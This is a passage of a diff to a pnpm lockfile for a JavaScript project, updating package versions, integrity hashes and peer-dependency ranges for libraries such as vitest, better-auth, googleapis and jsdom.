+    resolution: {integrity: sha512-LztvUgdwMNJMIkj3hQnnxiC2Xy1zNxq928W/xhjCLaNCzqTZOudjwbQf6v9IntZGPw132i2Lq2rgTRZHD3JHNw==}
+
   '@vitest/snapshot@4.1.10':
     resolution: {integrity: sha512-xRkfOT1qpTAi/Ti4Y1LtfRc3kEuqxGw59eN2jN9pRWMtS/XDevekhcFSqvQqjUNGksfjMJu3Y+oJ+4Ypn2OaJw==}
 
+  '@vitest/snapshot@4.1.11':
+    resolution: {integrity: sha512-pN7ikn1ON7h8ee4gIAp4AzyK+zBtJPzVbqOgu5LCEh4VaJVbPQcgYQYJIMGQPXVeJJq1fnfazis7a5pFNPahog==}
+
   '@vitest/spy@3.2.4':
     resolution: {integrity: sha512-vAfasCOe6AIK70iP5UD11Ac4siNUNJ9i/9PZ3NKx07sG6sUxeag1LWdNrMWeKKYBLlzuK+Gn65Yd5nyL6ds+nw==}
 
   '@vitest/spy@4.1.10':
     resolution: {integrity: sha512-PLf/Ugvoq5wO/b4rwYCR1h2PSIdXz7wnkQFMiUpLdtM7l6pqVFcQIBEHyT1+l+cj7mNwAfZHzqXqDyjvOuwbDw==}
 
+  '@vitest/spy@4.1.11':
+    resolution: {integrity: sha512-apNa/prQy2qCeywhnixOHPRCgGNhvg7T4Dapfl1GahLp/R+uhBm5cPyFoNVyqsNd2h1nJxL6BqqdIjiABL60YA==}
+
   '@vitest/utils@3.2.4':
     resolution: {integrity: sha512-fB2V0JFrQSMsCo9HiSq3Ezpdv4iYaXRG1Sx8edX3MwxfyNn83mKiGzOcH+Fkxt4MHxr3y42fQi1oeAInqgX2QA==}
 
   '@vitest/utils@4.1.10':
     resolution: {integrity: sha512-fy9am/HWxbaGt/Sawrp90vt6Y6jQwf1RX77cz3uwoJwJVMli/e1IEwRPnMNJ7vKfPTwo0diXifkpPvwH9v7nGA==}
 
+  '@vitest/utils@4.1.11':
+    resolution: {integrity: sha512-zTCVGpyFsGWBhllOyKlTw/vnr6D9qxsfSDyfbyZmTyjHw5N/VuvzHpHoQjm2ZJzn4RJgx5w4r7V0er69CmLgPQ==}
+
   '@webcontainer/env@1.1.1':
     resolution: {integrity: sha512-6aN99yL695Hi9SuIk1oC88l9o0gmxL1nGWWQ/kNy81HigJ0FoaoTXpytCj6ItzgyCEwA9kF1wixsTuv5cjsgng==}
 
@@ -5243,6 +5612,11 @@ packages:
     engines: {node: '>=0.4.0'}
     hasBin: true
 
+  acorn@8.18.0:
+    resolution: {integrity: sha512-lGq+9yr1/GuAWaVYIHRjvvySG5/4VfKIvC8EWxStPdcDh/Ka7FG3twP6v4d5BkravUilhIAsG4Qj83t02LWUPQ==}
+    engines: {node: '>=0.4.0'}
+    hasBin: true
+
   acpx@0.12.0:
     resolution: {integrity: sha512-APYpN04XFWrCGuSBvM4HTKWWFH8uSIuzc+qI7aCGeVdP9o4euZeBosFEkmNUHvBOop0XBemg6d8RsNvzXN3Mgw==}
     engines: {node: '>=22.13.0'}
@@ -5286,8 +5660,8 @@ packages:
     resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==}
     engines: {node: '>=8'}
 
-  ansi-regex@6.2.2:
-    resolution: {integrity: sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==}
+  ansi-regex@6.3.0:
+    resolution: {integrity: sha512-WpDfL7NO6j7tH88IDBNVdUJxDh9nmCteAVW9dsep846XdwF4naCBK+/tGLX3KJgcpgMRXCFlTM2hKGoK9FsdrQ==}
     engines: {node: '>=12'}
 
   ansi-styles@4.3.0:
@@ -5337,13 +5711,13 @@ packages:
     resolution: {integrity: sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==}
     engines: {node: '>=12'}
 
-  assistant-cloud@0.1.31:
-    resolution: {integrity: sha512-YBLc79w2EFD/6YjvcZrperpZ+B3TQ9LZ39AbjfcnbIJiSXYAs8cDH+mgy1GrfJBq47nhGaTVEf7ajv+hk084eA==}
+  assistant-cloud@0.1.41:
+    resolution: {integrity: sha512-lrH9USOoNaAWAAbujeHa/PEiWoqNQHjIPIAeeA3y3GUXOdlmTjIyR/7GbEZBKbHhm1Lyt7aAYKvdxHFkhuEbJw==}
 
-  assistant-stream@0.3.20:
-    resolution: {integrity: sha512-CniC84epmE9JrMSDzlZVWJ13O5rYbjoqEzh0jT+QfsrR07LBls42DMJ60XNxKXm8Hrn6MHSZcxqBUqwXRtoutA==}
+  assistant-stream@0.3.38:
+    resolution: {integrity: sha512-WASh+97pCN1+Q0pRS8m1fZ56eqWYmDucGs5uLTfsb/Iel69K+GAIntVDn2HTaaOBDyAGs2QBizT7d7lcUcllvA==}
     peerDependencies:
-      ioredis: ^5.10.1
+      ioredis: ^5.10.1 || ^6.0.0
       redis: ^5.12.1
     peerDependenciesMeta:
       ioredis:
@@ -5366,8 +5740,8 @@ packages:
     resolution: {integrity: sha512-kNOjDqAh7px0XWNI+4QbzoiR/nTkHAWNud2uvnJquD1/x5a7EQZMJT0AczqK0Qn67oY/TTQ1LbUKajZpp3I9tQ==}
     engines: {node: '>=8.0.0'}
 
-  axe-core@4.12.1:
-    resolution: {integrity: sha512-s7iGf5GaVMxEG0ENN9x+xTr7GFZCb1ZP/1uATUpCEK2X78nDB3RwbtFCo9pGAf9ru+VwoQ464DkaLEeRM08wJA==}
+  axe-core@4.13.0:
+    resolution: {integrity: sha512-UzGt8zg7Ny8djbYMhxl2zuEevVa7r2gJjYY5Lwr1xM7+XU2nd6CkIWFTVcCIbAP63vSz71NaVyyuSk9lHKcy0A==}
     engines: {node: '>=4'}
 
   b4a@1.8.1:
@@ -5428,20 +5802,16 @@ packages:
   base64-js@1.5.1:
     resolution: {integrity: sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==}
 
-  baseline-browser-mapping@2.10.43:
-    resolution: {integrity: sha512-AjYpR78kDWAY3Efj+cDTFH9t9SCoL7OoTp1BOb0mQV7S+6CiLwnWM3FyxhJtdPufDFKzmCSFoUncKjWgJEZTCQ==}
+  baseline-browser-mapping@2.11.15:
+    resolution: {integrity: sha512-FwMjJJ7HnyZpWe+oWxegG0fezZyBZUagI5LZEoO3GCbtbKNwRfMH9Ue5d5v01PNePBy1QSfPSDTTeVL0Hb9EzA==}
     engines: {node: '>=6.0.0'}
     hasBin: true
 
-  baseline-browser-mapping@2.9.19:
-    resolution: {integrity: sha512-ipDqC8FrAl/76p2SSWKSI+H9tFwm7vYqXQrItCuiVPt26Km0jS+NzSsBWAaBusvSbQcfJG+JitdMm+wZAgTYqg==}
-    hasBin: true
-
   bcrypt-pbkdf@1.0.2:
     resolution: {integrity: sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==}
 
-  better-auth@1.6.25:
-    resolution: {integrity: sha512-fvoq+oCO+FF5fpP3XfU7znRyGFpHB77UG2EyxsKNy+Cak7Q5pELu+auvvDveQbWQxcoKugZ7jYQQPFQLpUTGOw==}
+  better-auth@1.6.28:
+    resolution: {integrity: sha512-PW1y6mepLINbv04mimKbF3qjy4B/3ynG/Kc0jT3X+qepu1M+9UJJj3kS8parSnpT8cPEHWhu5sJCuL7iyMyddw==}
     peerDependencies:
       '@lynx-js/react': '*'
       '@prisma/client': ^5.0.0 || ^6.0.0 || ^7.0.0
@@ -5456,8 +5826,8 @@ packages:
       next: ^14.0.0 || ^15.0.0 || ^16.0.0
       pg: ^8.0.0
       prisma: ^5.0.0 || ^6.0.0 || ^7.0.0
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
       solid-js: ^1.0.0
       svelte: ^4.0.0 || ^5.0.0
       vitest: ^2.0.0 || ^3.0.0 || ^4.0.0
@@ -5502,8 +5872,8 @@ packages:
       vue:
         optional: true
 
-  better-call@1.3.7:
-    resolution: {integrity: sha512-Al51/hjp2SSp6CRTa3F2ptcx4yQVS1xWKoY6jcVXqNYOap6mHFP2jUBn5EwIL4iIed1/Sq4hlQ+Umm6EflZG+w==}
+  better-call@1.4.0:
+    resolution: {integrity: sha512-bBKOT4vv1kZLDgxVePdilk/Jwkn+dtRRsmi3DzHcDP+WnswyVl6dR59l2HEeP/0cB+bDoopASAesWDPIdd/zZA==}
     peerDependencies:
       zod: ^4.0.0
     peerDependenciesMeta:
@@ -5532,20 +5902,15 @@ packages:
   brace-expansion@1.1.18:
     resolution: {integrity: sha512-Edep/X9fGqVNmzKBVsDYIOtD+z1tuezV70LBjdCst9Tqu76lsnvRiZ6oTic1n+/BIwX6QDGAO94PN4N2SADvtw==}
 
-  brace-expansion@2.1.2:
-    resolution: {integrity: sha512-w5JZcKgdhDOgOwm8H+KgbosopHMuGcl6qbulwjtz3SM7I7P3yW1eAjzMPLrIE+NQ9vjgANKHWeMHnrT0OXW1oA==}
+  brace-expansion@2.1.4:
+    resolution: {integrity: sha512-hGfVzPxthbf3+2yjg/RBs60cB0FhqBS/zvdV/4wn4/BmN0bNMMHPc4V/BbFieqf1TKAGGAHnY4eSjajCl0f2Xg==}
 
-  brace-expansion@5.0.7:
-    resolution: {integrity: sha512-7oFy703dxfY3/NLxC1fh2SUCQ0H9rmAY+5EpDVfXjUTTs+HEwR2nYaqLv+GWcTsumwxPfiz6CzCNkwXwBUwqCA==}
-    engines: {node: 18 || 20 || >=22}
+  brace-expansion@5.0.9:
+    resolution: {integrity: sha512-ScQ4IuvIEF1TMlP7Zt+vjJ//9zlPb2SDcxWxM3bk8s6t6GGdJ7KO1dCcTidOPJKePW30LE/2cT7wCyPho9/Wxg==}
+    engines: {node: 20 || >=22}
 
-  browserslist@4.28.1:
-    resolution: {integrity: sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==}
-    engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7}
-    hasBin: true
-
-  browserslist@4.28.6:
-    resolution: {integrity: sha512-FQBYNK15VMslhLHpA7+n+n1GOlF1kId2xcCg7/j95f24AOF6VDYMNH4mFxF7KuaTdv627faazpOAjFzMrfJOUw==}
+  browserslist@4.28.8:
+    resolution: {integrity: sha512-V2NpofLblG64mfOtSgDhOJESZEGogzDMBv/q+W6oc4LXWP/q75eOXoOaaOu1EOadB9U4Bwx/e0yzbvwKH8zalA==}
     engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7}
     hasBin: true
 
@@ -5589,11 +5954,8 @@ packages:
     resolution: {integrity: sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==}
     engines: {node: '>= 0.4'}
 
-  caniuse-lite@1.0.30001770:
-    resolution: {integrity: sha512-x/2CLQ1jHENRbHg5PSId2sXq1CIO1CISvwWAj027ltMVG2UNgW+w9oH2+HzgEIRFembL8bUlXtfbBHR1fCg2xw==}
-
-  caniuse-lite@1.0.30001805:
-    resolution: {integrity: sha512-52noaS3DubycKSXaU30TwPGIp+POyQSUVa5jBEq3vkRkY0kjyb3LQgvhU6WGyCcyXqVLWO0Cw0Q6BSdD0kUfVA==}
+  caniuse-lite@1.0.30001809:
+    resolution: {integrity: sha512-xxWVywk6a6Arlk+hymeycyn/VgqEfLDxupvhH/xiY5SJ/18kmi9o6MiO320DCUzypORHLtvh0I4i04tUhCNHNQ==}
 
   ccount@2.0.1:
     resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==}
@@ -5622,9 +5984,9 @@ packages:
     resolution: {integrity: sha512-PAJdDJusoxnwm1VwW07VWwUN1sl7smmC3OKggvndJFadxxDRyFJBX/ggnu/KE4kQAB7a3Dp8f/YXC1FlUprWmA==}
     engines: {node: '>= 16'}
 
-  chokidar@4.0.3:
-    resolution: {integrity: sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==}
-    engines: {node: '>= 14.16.0'}
+  chokidar@5.0.0:
+    resolution: {integrity: sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw==}
+    engines: {node: '>= 20.19.0'}
 
   chownr@1.1.4:
     resolution: {integrity: sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==}
@@ -5661,8 +6023,8 @@ packages:
   cmdk@1.1.1:
     resolution: {integrity: sha512-Vsv7kFaXm+ptHDMZ7izaRsP70GgrW9NBNGswt9OZaVBLlE0SNpDq8eu/VGXyF9r7M0azK3Wy7OlYXsuyYLFzHg==}
     peerDependencies:
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
 
   codemirror@6.0.2:
     resolution: {integrity: sha512-VhydHotNW5w1UGK0Qj96BwSk/Zqbp9WbnyK2W/eVMv4QyF41INRGpjUhFJY7/uDNuudSc33a/PKr4iDqRduvHw==}
@@ -5784,10 +6146,6 @@ packages:
     engines: {node: '>=4'}
     hasBin: true
 
-  cssstyle@6.2.0:
-    resolution: {integrity: sha512-Fm5NvhYathRnXNVndkUsCCuR63DCLVVwGOOwQw782coXFi5HhkXdu289l59HlXZBawsyNccXfWRYvLzcDCdDig==}
-    engines: {node: '>=20'}
-
   csstype@3.2.3:
     resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==}
 
@@ -6000,8 +6358,8 @@ packages:
     resolution: {integrity: sha512-x1VCxdX4t+8wVfd1so/9w+vQ4vx7lKd2Qp5tDRutErwmR85OgmfX7RlLRMWafRMY7hbEiXIbudNrjOAPa/hL8Q==}
     engines: {node: '>=18'}
 
-  default-browser@5.5.0:
-    resolution: {integrity: sha512-H9LMLr5zwIbSxrmvikGuI/5KGhZ8E2zH3stkMgM5LpOWDutGM2JZaj460Udnf1a+946zc7YBgrqEWwbk7zHvGw==}
+  default-browser@5.5.1:
+    resolution: {integrity: sha512-m1pAzaJgZ/gssEqlOhJkPJp8Xly7QyW6xcrkUa2KKcDeDSEMP7X8xipU3snUcfisTQx0w1AGae+9UtJSfVnXGw==}
     engines: {node: '>=18'}
 
   define-lazy-prop@3.0.0:
@@ -6083,7 +6441,7 @@ packages:
   downshift@7.6.2:
     resolution: {integrity: sha512-iOv+E1Hyt3JDdL9yYcOgW7nZ7GQ2Uz6YbggwXvKUSleetYhU2nXD482Rz6CzvM4lvI1At34BYruKAL4swRGxaA==}
     peerDependencies:
-      react: ^19.2.7
+      react: ^19.2.8
 
   drizzle-kit@0.31.10:
     resolution: {integrity: sha512-7OZcmQUrdGI+DUNNsKBn1aW8qSoKuTH7d0mYgSP8bAzdFzKoovxEFnoGQp2dVs82EOJeYycqRtciopszwUf8bw==}
@@ -6194,11 +6552,8 @@ packages:
   ee-first@1.1.1:
     resolution: {integrity: sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==}
 
-  electron-to-chromium@1.5.286:
-    resolution: {integrity: sha512-9tfDXhJ4RKFNerfjdCcZfufu49vg620741MNs26a9+bhLThdB+plgMeou98CAaHu/WATj2iHOOHTp1hWtABj2A==}
-
-  electron-to-chromium@1.5.389:
-    resolution: {integrity: sha512-cEto7aeOqBfU1D+c5py5pE+ooscKE75JifxLBdFUZsqAxRS6y7kebtxAZvICszSl05gPjYHDTjY+lXpyGvpJbg==}
+  electron-to-chromium@1.5.409:
+    resolution: {integrity: sha512-ChI4N44d0B4A6C8prnNjMOaGgE59fUyEVYcRYm2XEXIjMbbvF5i9UL1cblDbpGqiU0uS8FE8UcKxqZqTXdmzbQ==}
 
   embedded-postgres@18.1.0-beta.16:
     resolution: {integrity: sha512-TDp7Ld0h84x5fzIIZFyreYWqZrxUNjuXB6OxqJCmV6PodB2vzQ+1hlL6n4uK1de7bIAxYt5OkDykwcuIONQdQg==}
@@ -6228,9 +6583,9 @@ packages:
     resolution: {integrity: sha512-PwKooW9JUzh5chmYfHM3IQl5OkK2u2Nm011MgeZrss3JmFraUx/fqrf78kk8GUMYoibx/14MdwTl/1WKkG7TpQ==}
     engines: {node: '>=10.13.0'}
 
-  entities@6.0.1:
-    resolution: {integrity: sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==}
-    engines: {node: '>=0.12'}
+  entities@8.0.0:
+    resolution: {integrity: sha512-zwfzJecQ/Uej6tusMqwAqU/6KL2XaB2VZ2Jg54Je6ahNBGNH6Ek6g3jjNCF0fG9EWQKGZNddNjU5F1ZQn/sBnA==}
+    engines: {node: '>=20.19.0'}
 
   env-paths@2.2.1:
     resolution: {integrity: sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==}
@@ -6250,6 +6605,9 @@ packages:
   es-module-lexer@2.3.1:
     resolution: {integrity: sha512-shc1dbU90Yl/xq1QrC7QRtfcwURZuVRfPhZbDoldJ1cn1gzDvBaBWlv0eFolj5+0znnPJz5TXLxsN77X/12KTA==}
 
+  es-module-lexer@2.3.2:
+    resolution: {integrity: sha512-poHGpORABojJJucnV9KbOavETW8lBVnphkW77ER5/BQ5Fz7oXSoCNek7IH3vR5nRjdsEz926ibFYX8KtLQmdyw==}
+
   es-object-atoms@1.1.1:
     resolution: {integrity: sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==}
     engines: {node: '>= 0.4'}
@@ -6292,6 +6650,11 @@ packages:
     engines: {node: '>=18'}
     hasBin: true
 
+  esbuild@0.28.2:
+    resolution: {integrity: sha512-HKVLS8dvII+xoKW9kmqxbRKrnWEXfJJr/FZhhJmiqIB0e053QNYFqOBouTMO/k5sID4MvCiUCvv8b9M4h32wIA==}
+    engines: {node: '>=18'}
+    hasBin: true
+
   escalade@3.2.0:
     resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==}
     engines: {node: '>=6'}
@@ -6444,6 +6807,20 @@ packages:
     resolution: {integrity: sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==}
     engines: {node: '>= 0.6'}
 
+  framer-motion@12.43.0:
+    resolution: {integrity: sha512-1eaL3RvR/kAlbG7UYcpMptEyzPoENO0c6w7ZnB3/hh2vSAz/6uGAFn6fdoqTBguNstf3MsFhJHsD/0DHiclG+g==}
+    peerDependencies:
+      '@emotion/is-prop-valid': '*'
+      react: ^19.2.8
+      react-dom: ^19.2.8
+    peerDependenciesMeta:
+      '@emotion/is-prop-valid':
+        optional: true
+      react:
+        optional: true
+      react-dom:
+        optional: true
+
   fresh@2.0.0:
     resolution: {integrity: sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==}
     engines: {node: '>= 0.8'}
@@ -6480,16 +6857,12 @@ packages:
     resolution: {integrity: sha512-YGGyuEdVIjqxkxVH1pUTMY/XtmmsApXrCVv5EU25iX6inEPbV+VakJfLealkBtJN69AQmh1eGOdCl9Sm1UP6XQ==}
     engines: {node: '>=18'}
 
-  gaxios@7.2.0:
-    resolution: {integrity: sha512-CUVb4wcYe+771XevyH6HtGmXFAGGKkIC3kswAP8Z1JCe0j80JMaTPZH930DWFrvo0atjh18Arc0pEyUCWa5bfg==}
+  gaxios@7.3.1:
+    resolution: {integrity: sha512-kB3rzJV7d9juLZh8/56QTXCwQfxyhdOMdyYk1HdQKFtF8TJTDTZQJtixWIwXdE9Jji91mC41DUNpjleo4L4eAQ==}
     engines: {node: '>=18'}
 
-  gcp-metadata@8.1.2:
-    resolution: {integrity: sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg==}
-    engines: {node: '>=18'}
-
-  gcp-metadata@8.1.3:
-    resolution: {integrity: sha512-ziTrzUhhpL9Zk5k0HHzgP/KIpWDJT0VMBC/ynt/QIBvTW+UUcSivQRl6VlwTf/EilDxtSWklHoRsKy1c4k+59w==}
+  gcp-metadata@8.1.4:
+    resolution: {integrity: sha512-iJ9KMsiu+xKtNRX0PmGLSaIU3bUBAyzWTyqKemKPzNPsmmsBCQYmlNg+brEbES7IHSXtdVwzBPzx1vz3FAaipw==}
     engines: {node: '>=18'}
 
   gensync@1.0.0-beta.2:
@@ -6535,20 +6908,20 @@ packages:
     resolution: {integrity: sha512-7ABviyMOlX5hIVD60YOfHw4/CxOfBhyduaYB+wbFWCWoni4N7SLcV46hrVRktuBbZjFC9ONyqamZITN7q3n32w==}
     engines: {node: '>=18'}
 
-  google-auth-library@10.9.0:
-    resolution: {integrity: sha512-xtvUqvINPhTaBm7nXqlYPcrMHJPm1lCNdSovxnKKhTm+4JsvQ+KGVYJViLoH9Yxu8w+T0Qv5HubzYT9BLrppJg==}
-    engines: {node: '>=18'}
-
   google-logging-utils@1.1.3:
     resolution: {integrity: sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA==}
     engines: {node: '>=14'}
 
-  googleapis-common@8.0.2:
-    resolution: {integrity: sha512-5MXeQzIZaqCH7B+HJWqhQm946VARpZep6acbWSr/fcgF2cQANq7allgX+i/G0EqF0WyUxB277gtWMzRYHMl9tg==}
-    engines: {node: '>=18.0.0'}
+  google-logging-utils@1.2.0:
+    resolution: {integrity: sha512-WE9av4wKDZgRjBwgVUabocx8T6/7o3Ca1Fat46FXDhXVAFibzNadedcOXrdgd1Kzmk8tsk/9ZH89Wyf/SqeZ3A==}
+    engines: {node: '>=18'}
 
-  googleapis@164.1.0:
-    resolution: {integrity: sha512-dIN768H8so9qGucFtjYPBZJ+OCEgDi/xYyvYQHniPL1ZCYvrRDBTmtbjVjKCPG1CuOhG4CKHZDXiFe6QZ2qBeQ==}
+  googleapis-common@8.0.3:
+    resolution: {integrity: sha512-7g1yzQKx0mmNTjiK0H9dJ8eqKqDBveES9vLHeg5neb3BMQy/d1oQefIMhIpOVT8a+f+LOcixMEdRbFIW/cQUJw==}
+    engines: {node: '>=18'}
+
+  googleapis@174.0.1:
+    resolution: {integrity: sha512-51B9r4WnyAyUXvsDhDswpSVZbqx3afSBEzrzshxBivysBKsB6kJ+X5CVOybRV/R3HIURiR01uHXLGkEm7On3dA==}
     engines: {node: '>=18'}
 
   gopd@1.2.0:
@@ -6604,8 +6977,8 @@ packages:
     resolution: {integrity: sha512-CV9TW3Y3f8/wT0BRFc1/KAVQ3TUHiXmaAb6VW9vtiMFf7SLoMd1PdAc4W3KFOFETBJUb90KatHqlsZMWV+R9Gg==}
     engines: {node: ^20.19.0 || ^22.12.0 || >=24.0.0}
 
-  html-parse-stringify@3.0.1:
-    resolution: {integrity: sha512-KknJ50kTInJ7qIScF3jeaFRpMpE8/lfiTdzf/twXyPBLAGrLRTmkz3AdTnKeh40X8k9L2fdYwEp/42WGXIRGcg==}
+  html-parse-stringify@4.0.1:
+    resolution: {integrity: sha512-0zHsZJrK7S3K2aucXWL6ycoYJ/iNtIcFHC/nYQgFklPtrv5LpJctIiSCroWZWeuoXvuyFdzp6KzjJQ+OT5MfFw==}
 
   html-url-attributes@3.0.1:
     resolution: {integrity: sha512-ol6UPyBWqsrO6EJySPz2O7ZSr856WDrEzM5zMqp+FJJLGMW35cLYmmZnl0vztAZxRUoNZJFTCohfjuIJ8I4QBQ==}
@@ -6624,10 +6997,6 @@ packages:
     resolution: {integrity: sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==}
     engines: {node: '>= 6'}
 
-  http-proxy-agent@7.0.2:
-    resolution: {integrity: sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==}
-    engines: {node: '>= 14'}
-
   https-proxy-agent@5.0.1:
     resolution: {integrity: sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==}
     engines: {node: '>= 6'}
@@ -6779,12 +7148,12 @@ packages:
     resolution: {integrity: sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ==}
     hasBin: true
 
-  jose@6.2.4:
-    resolution: {integrity: sha512-N8acGzVsQy6M/fjFcxtysNc4Q379TcM5dM/qKkNtsHFji88yANnXTr7BLeP75iPnFwBfQzM/jg2BZ9+HZrHCZA==}
-
   jose@6.2.8:
     resolution: {integrity: sha512-Bsdjwm3Qsd/P0jR+BHDe3LytDfY7WBq2HmCCLIwuVRHMuEC9ae7/R474GIUdF1NgCyZjzVo/A9DOiOBtXq8ZoQ==}
 
+  jose@6.2.9:
+    resolution: {integrity: sha512-XrchZOFZUl/T3vTwRe8XK+cJrGtMF4th1ARnDfwbBXFKThGhlsxEE4Zu03AD/bjJSt/9jT/mxrOCkJWOg77aPA==}
+
   joycon@3.1.1:
     resolution: {integrity: sha512-34wB/Y7MW7bzjKRjUKTa46I2Z7eV62Rkhva+KkopW7Qvv/OSWBqvkSY7vusOPrNuZcUG3tApvdVgNB8POj3SPw==}
     engines: {node: '>=10'}
@@ -6796,11 +7165,11 @@ packages:
     resolution: {integrity: sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==}
     hasBin: true
 
-  jsdom@28.1.0:
-    resolution: {integrity: sha512-0+MoQNYyr2rBHqO1xilltfDjV9G7ymYGlAUazgcDLQaUf8JDHbuGwsxN6U9qWaElZ4w1B2r7yEGIL3GdeW3Rug==}
-    engines: {node: ^20.19.0 || ^22.12.0 || >=24.0.0}
+  jsdom@30.0.1:
+    resolution: {integrity: sha512-52v7mUVUfNQVYYqE1lcdaymWL0njO7lTLUog6ZvW2U5KsbiLk/GnZlVJ+qx0xfNJZ6Gn+KSpPNE52vurbxZwrA==}
+    engines: {node: ^22.22.2 || ^24.15.0 || >=26.0.0}
     peerDependencies:
-      canvas: ^3.0.0
+      canvas: ^3.2.3
     peerDependenciesMeta:
       canvas:
         optional: true
@@ -6848,8 +7217,8 @@ packages:
     resolution: {integrity: sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==}
     engines: {node: '>=6'}
 
-  kysely@0.29.4:
-    resolution: {integrity: sha512-y5mVgQNkMbs1eK9Xyc0pmNdabN2wHhRYY/5r4W5HrUT1rYCEPeVNSj1RUJeSDKT3U0p+mXCvLgkrFuIafYI6BA==}
+  kysely@0.29.5:
+    resolution: {integrity: sha512-ooa+eSbBNPTo3MycPEuW5jdrxQdQwdtB3LC3h43FiXQbIry5tR0C5lDG7eealK0E4D7XjrnOP5DIUg/LyjRMYQ==}
     engines: {node: '>=22.0.0'}
 
   layout-base@1.0.2:
@@ -6957,10 +7326,6 @@ packages:
   lru-cache@10.4.3:
     resolution: {integrity: sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==}
 
-  lru-cache@11.2.7:
-    resolution: {integrity: sha512-aY/R+aEsRelme17KGQa/1ZSIpLpNYYrhcrepKTZgE+W3WM16YMCaPwOHLHsmopZHELU0Ojin1lPVxKR0MihncA==}
-    engines: {node: 20 || >=22}
-
   lru-cache@11.5.2:
     resolution: {integrity: sha512-4pfM1Ff0x50o0tQwb5ucw/RzNyD0/YJME6IVcStalZuMWxdt3sR3huStTtxz4PUmvZfRguvDejasvQ2kifR11g==}
     engines: {node: 20 || >=22}
@@ -6978,7 +7343,7 @@ packages:
   lucide-react@0.577.0:
